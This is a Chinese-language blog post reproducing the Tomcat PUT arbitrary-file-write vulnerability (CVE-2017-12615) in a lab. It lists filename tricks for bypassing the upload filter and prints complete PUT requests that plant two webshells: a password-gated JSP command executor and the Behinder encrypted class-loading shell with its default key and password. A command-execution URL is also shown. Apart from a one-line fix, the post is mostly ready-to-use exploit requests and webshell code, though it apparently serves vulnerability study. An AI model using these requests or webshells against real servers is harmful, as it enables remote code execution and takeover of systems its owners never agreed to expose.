当前位置:   article > 正文

TOMCAT PUT方法任意写文件(CVE-2017-12615)-靶场复现

tomcat put

一、漏洞信息
tomcat put方法任意写文件介绍:
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

2、漏洞原理:
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作。
这里还有一个细节:
其实tomcat会对上传的文件内容进行限制,比如说禁止上传 .jpg 后缀的文件,只不过,这个过滤机制可以通过一些windows 或着 linux的特性绕过。

3、影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围:Apache Tomcat 7.0.0 - 7.0.79
从 5.x 到 9.x 均受到影响
本次测试版本:Tomcat版本:8.5.19

4、绕过上传方式
①Windows下 Windows下不允许文件以空格结尾

PUT /x.jsp%20 HTTP/1.1

②windows会被自动去掉末尾空格 Windows NTFS

PUT /x.jsp::$DATA HTTP/1.1

③Linux下/在文件名中是非法的,会被去除(Linux/Windows)

PUT /x.jsp/ HTTP/1.1

二、漏洞复现
1、进入到tomcat主页进行抓包



2、修改请求协议PUT加文件名,在请求主体内写入可执行代码,点击发送

  1. PUT /pwd5.jsp/ HTTP/1.1
  2. Host: 192.168.1.112:8080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Length: 374
  10. <%
  11. if("666".equals(request.getParameter("pwd"))){
  12. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
  13. int a = -1;
  14. byte[] b = new byte[2048];
  15. out.print("<pre>");
  16. while((a=in.read(b))!=-1){
  17. out.println(new String(b));
  18. }
  19. out.print("</pre>");
  20. }
  21. %>


3、命令执行方式:http://127.0.0.1:8080/21.jsp?pwd=666&i=whoami

4、获取webshell
冰蝎自带马,密码:rebeyond

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

修改请求协议PUT加文件名,在请求主体内写入可执行代码,点击发送

  1. PUT /pwd7.jsp/ HTTP/1.1
  2. Host: 192.168.1.112:8080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Length: 612
  10. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>


上传成功使用冰蝎进行连接
 

三、修复建议
Tomcat配置 readonly=true

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/756001
推荐阅读
相关标签
  

闽ICP备14008679号